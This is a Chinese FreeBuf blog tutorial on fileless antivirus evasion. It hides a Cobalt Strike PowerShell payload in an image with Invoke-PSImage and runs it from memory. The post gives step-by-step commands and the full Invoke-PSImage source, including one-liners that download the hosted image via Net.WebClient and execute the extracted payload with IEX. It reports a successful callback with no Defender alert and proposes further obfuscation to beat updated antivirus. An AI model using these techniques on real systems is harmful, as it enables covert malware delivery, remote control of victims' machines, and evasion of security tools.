freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

无文件落地免杀的初尝试思考(上)
2022-05-17 11:01:32
所属地 山东省

0X00免杀基础

无文件落地免杀是什么?

答:无文件顾名思义,就是无需将payload文件传到目标服务器中,攻击者可以直接利用powershell(或者其他解析器)的加载payload到内存中执行。它不光可以使攻击者更加隐蔽的进行攻击以及后续的横向移动,同时还可以解决目标不出网只能通过DNS上线时的棘手问题,操作还更加方便

补充:无文件落地的免杀分为两大类:一类是出网的情况,另一类是不出网情况

解析器是什么?有哪些种类?

答:解析器一般是指在windows环境下的能执行脚本或命令的组件;我们在利用解析器的时候可以根据攻击时利用的脚本类型进行选择,eg:powershell====>powershell.exeVB.script====>cscript.exebat命令 ====>cmd.exejavaSrtipt====>mshta.exe

0X01 技术验证

准备条件

一张大于等于1920*1200的图片(因为要把payload代码插入图片中,像素小了不够存放)

cobalt Strike渗透工具(版本要求不大)

Invoke-psimage脚本(这是这次免杀的关键,我们稍后分析)

payload的生成

第一步:使用CS生成.psl的payload

1652756011_62830e2b50560e97ba204.png!small?1652756012160

1652756037_62830e450fb61d6d95be7.png!small?1652756039416

1652756045_62830e4df073c63146497.png!small?1652756047306

利用脚本进行免杀

我们可以通过git命令,将脚本下载下来git clone https://github.com/AV1080p/Invoke-PSImage.git;然后将CS生成.psl的payload,放入Invoke-psimage这个脚本的文件夹中即可

1652756071_62830e67116bc852b0b65.png!small?1652756072283

紧接着在Invoke-psimage的文件夹中,打开powershell,输入以下两条命令:

Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Image .\123.jpg -Out 456.jpg -Web

这里会生成一段payload代码,我们将这段代码,复制到一个.txt文本文件中,我们观察该文件发现;通过.OpenRead(http://xxxxxx)我们可以知道,应该修改该内容,使得cs可以远程控制它

1652756098_62830e826b47af397998e.png!small?1652756099641

小提示:在windows环境下配置,我这里因为某些原因是在靶机上配置而成(因为是小白教程,所以考虑大家都是第一次通过powershell配置脚本,大概率会出现下面报错)

PS C:\Users\yuu\Desktop\Invoke-PSImage>Import-Module . \Invoke-PSImage.ps1
PS C:\Users\yuu\Desktop\Invoke-PSImage>Invoke-PSImage -Script . Jpayioad.ps1 -Image . \123. jpg -Out 456.jgWeb

如果出现报错;可以使用powershell管理员打开,后输入set-executionpolicy remotesigned,等待片刻选择Y即可

1652756110_62830e8e25e0e102aaf18.png!small?1652756112131

payload与cs联动

我们把456.jpg图片放入CS中,后打开Host File模块进行链接的制作

1652756121_62830e9986b46f72ecc36.png!small?1652756122932

1652756138_62830eaaeb5a37e4e42c4.png!small?1652756139622

最后我们可以看见,联动的链接已经生成;我们把它放入.txt文本文件中代替原来的链接,并保存

1652756149_62830eb54ae3190cb41ab.png!small?1652756149989

1652756164_62830ec43166a098d64e4.png!small?1652756165570

免杀验证

我们将.txt里面的payload放入powershell中运行,我们通过CS可以发现主机上线,且def没有警告

1652756184_62830ed80d0baf0f0f91e.png!small?1652756185052

1652756196_62830ee4812e29b1fb97c.png!small?1652756197303

0X02 Invoke-PSImage.ps1脚本的技术分析

我们把该脚本复制下来,进行分析,看看它使用了哪些方法,以及未来我们可以怎么修改它...以达到不会被更新的杀毒软件查杀的效果。接下来我们把脚本分成两个部分进行解读,第一部分是作者的解释,第二部分是免杀代码,第一部分是教学,即如何使用脚本,并说明脚本原理

function Invoke-PSImage
{
<#
.SYNOPSIS(概要)

在图像中嵌入 PowerShell 脚本并生成 oneliner 来执行它
作者:Barrett Adams(@peewpw)

.DESCRIPTION(描述)
该工具既可以仅使用目标数据创建图像,也可以将有效负载嵌入现有图像。嵌入时2个颜色值(RGB的2个)的最低有效4位每个像素(有效载荷所需的像素数)。图像质量将受到影响结果,但它看起来仍然不错。图像保存为PNG,并且可以无损压缩而不影响执行有效载荷的能力,因为数据存储在给自己上色。它可以接受大多数图像类型作为输入,但输出始终是PNG因为它需要是无损的

.PARAMETER Script(参数脚本)
要嵌入到图像中的脚本的路径。

.PARAMETER Out(参数输出)
将生成的图像保存到的文件(图像会是PNG)

.PARAMETER Image(参数图像)
嵌入脚本的图像(可选)

.PARAMETER WebRequest(参数 WebRequest)
使用 Net.WebClient 输出用于从 Web 读取图像的命令;将需要托管图像并将 URL 插入命令中

.EXAMPLER PictureBox(参数图片框)
使用System.Windows.Forms.PictureBox输出用于从Web读取图像的命令;您将需要托管图像并将URL插入命令中

.EXAMPLE(事列)
PS>Import-Module .\Invoke-PSImage.ps1
PS>Invoke-PSImage -Script .\Invoke-Mimikatz.ps1 -Out .\evil-kiwi.png -Image .\kiwi.jpg
[从文件执行的 Oneliner]
#>

接下来看第二部分代码,分析里面的免杀技巧

[CmdletBinding()] Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$Script,

[Parameter(Position = 1, Mandatory = $True)]
[String]
$Out,

[Parameter(Position = 2, Mandatory = $False)]
[String]
$Image,

[switch] $WebClient,

[switch] $PictureBox
)
#如果我们遇到错误就停止而不是犯更多错误
$ErrorActionPreference = "Stop"

#加载一些程序集
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Web")

#规范化路径,因为 powershell 有时对它们不好
if (-Not [System.IO.Path]::IsPathRooted($Script)){
$Script = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Script))
}
if (-Not [System.IO.Path]::IsPathRooted($Out)){
$Out = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Out))
}

$testurl = "http://example.com/" + [System.IO.Path]::GetFileName($Out)

#读脚本
$ScriptBlockString = [IO.File]::ReadAllText($Script)
$in = [ScriptBlock]::Create($ScriptBlockString)
$payload = [system.Text.Encoding]::ASCII.GetBytes($in)

if ($Image) {
#规范化路径
if (-Not [System.IO.Path]::IsPathRooted($Image)){
$Image = [System.IO.Path]::GetFullPath((Join-Path (Get-Location) $Image))
}

#将读人的图像放入"位图"
$img = New-Object System.Drawing.Bitmap($Image)

$width = $img.Size.Width
$height = $img.Size.Height

#将位图锁定在内存中,以便可以通过编程方式对其进行更改
$rect = New-Object System.Drawing.Rectangle(0, 0, $width, $height);
$bmpData = $img.LockBits($rect, [System.Drawing.Imaging.ImageLockMode]::ReadWrite, $img.PixelFormat)
$ptr = $bmpData.Scan0

#将RGB值复制到数组中以便于修改
$bytes = [Math]::Abs($bmpData.Stride) * $img.Height
$rgbValues = New-Object byte[] $bytes;
[System.Runtime.InteropServices.Marshal]::Copy($ptr, $rgbValues, 0, $bytes);

#检查有效载荷是否适合图像
if($bytes/2 -lt $payload.Length) {
Write-Error "Image not large enough to contain payload!"
$img.UnlockBits($bmpData)
$img.Dispose()
Break
}

#生成一个随机字符串用于填充图片中的其他像素信息
# (每次调用get-random太慢了)
$randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
$randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)

#循环遍历RGB数组并将有效负载复制到其中
for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {
if ($counter -lt $payload.Length){
$paybyte1 = [math]::Floor($payload[$counter]/16)
$paybyte2 = ($payload[$counter] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
} else {
$paybyte1 = ($randb[$counter%113] -band 0x0f)
$paybyte2 = ($randb[($counter+1)%67] -band 0x0f)
$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)
}
$rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1
$rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2
$rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3
}

#将RGB值数组复制回位图
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $bytes)
$img.UnlockBits($bmpData)

#将图像写入文件
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
$img.Dispose()

#得到一堆我们需要在oneliner中使用的数字
$rows = [math]::Ceiling($payload.Length/$width)
$array = ($rows*$width)
$lrows = ($rows-1)
$lwidth = ($width-1)
$lpayload = ($payload.Length-1)

if($WebClient) {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} elseif($PictureBox) {
$pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} else {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[`$_*$width+`$x]=([math]::Floor((`$p.B-band15)*16)-bor(`$p.G-band15))}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
}

return $pscmd

} else {
# 决定我们的图像需要多大(为了方便数学,总是正方形)
$side = ([int] ([math]::ceiling([math]::Sqrt([math]::ceiling($payload.Length / 3)) + 3) / 4)) * 4

# 决定我们的图像需要多大(为了方便数学,总是正方形)
$rgbValues = New-Object byte[] ($side * $side * 3);
$randstr = [System.Web.Security.Membership]::GeneratePassword(128,0)
$randb = [system.Text.Encoding]::ASCII.GetBytes($randstr)

#循环遍历 RGB 数组并将有效负载复制到其中
for ($counter = 0; $counter -lt ($rgbValues.Length); $counter++) {
if ($counter -lt $payload.Length){
$rgbValues[$counter] = $payload[$counter]
} else {
$rgbValues[$counter] = $randb[$counter%113]
}
}

#将RGB值数组复制回位图
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($rgbValues.Length)
[System.Runtime.InteropServices.Marshal]::Copy($rgbValues, 0, $ptr, $rgbValues.Length)
$img = New-Object System.Drawing.Bitmap($side, $side, ($side*3), [System.Drawing.Imaging.PixelFormat]::Format24bppRgb, $ptr)

#将图像写入文件
$img.Save($Out, [System.Drawing.Imaging.ImageFormat]::Png)
$img.Dispose()
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ptr);

#得到一堆我们需要在oneliner中使用的数字
$array = ($side*$side)*3
$lrows = ($side-1)
$lwidth = ($side-1)
$width = ($side)
$lpayload = ($payload.Length-1)

if($WebClient) {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead(`"$testurl`"));`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} elseif($PictureBox) {
$pscmd = "sal a New-Object;Add-Type -A System.Windows.Forms;(`$d=a System.Windows.Forms.PictureBox).Load(`"$testurl`");`$g=`$d.Image;`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
} else {
$pscmd = "sal a New-Object;Add-Type -A System.Drawing;`$g=a System.Drawing.Bitmap(`"$Out`");`$o=a Byte[] $array;(0..$lrows)|%{foreach(`$x in(0..$lwidth)){`$p=`$g.GetPixel(`$x,`$_);`$o[(`$_*$width+`$x)*3]=`$p.B;`$o[(`$_*$width+`$x)*3+1]=`$p.G;`$o[(`$_*$width+`$x)*3+2]=`$p.R}};`$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString(`$o[0..$lpayload]))"
}

return $pscmd
}

关于如何调用函数,调用了那些函数,函数的调用方式及可替代函数这部分,个人能力有限,等一段时间沉淀后会更新《无文件落地免杀的初尝试思考(下)》,希望不会让大家等太久。

0X03文章总结

我们通过Barrett Adams师傅GitHub里面的代码分析,我们发现免杀的本质还是加密与混淆;我们通过底层函数的调用与"位图"的RNG隐藏躲避了def检测,那我们把这个数据流在进行Base64加密后执行呢?我们把这个数字流通过”+“或者函数拼接呢?又或者我们改用其他不那么敏感的函数调用呢?或者用音频或者视频隐写呢?

最后,感谢大家的观阅,本文是根据格林师傅在B站上的教学视频,有感而发写成;因为笔者也是初次尝试无文件落地免杀,所以难免有一些疏漏。如果存在问题,欢迎大家在评论区指正。

# 免杀 # PowerShell脚本 # PowerShell脚本混淆 # 免杀木马 # 免杀火绒
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录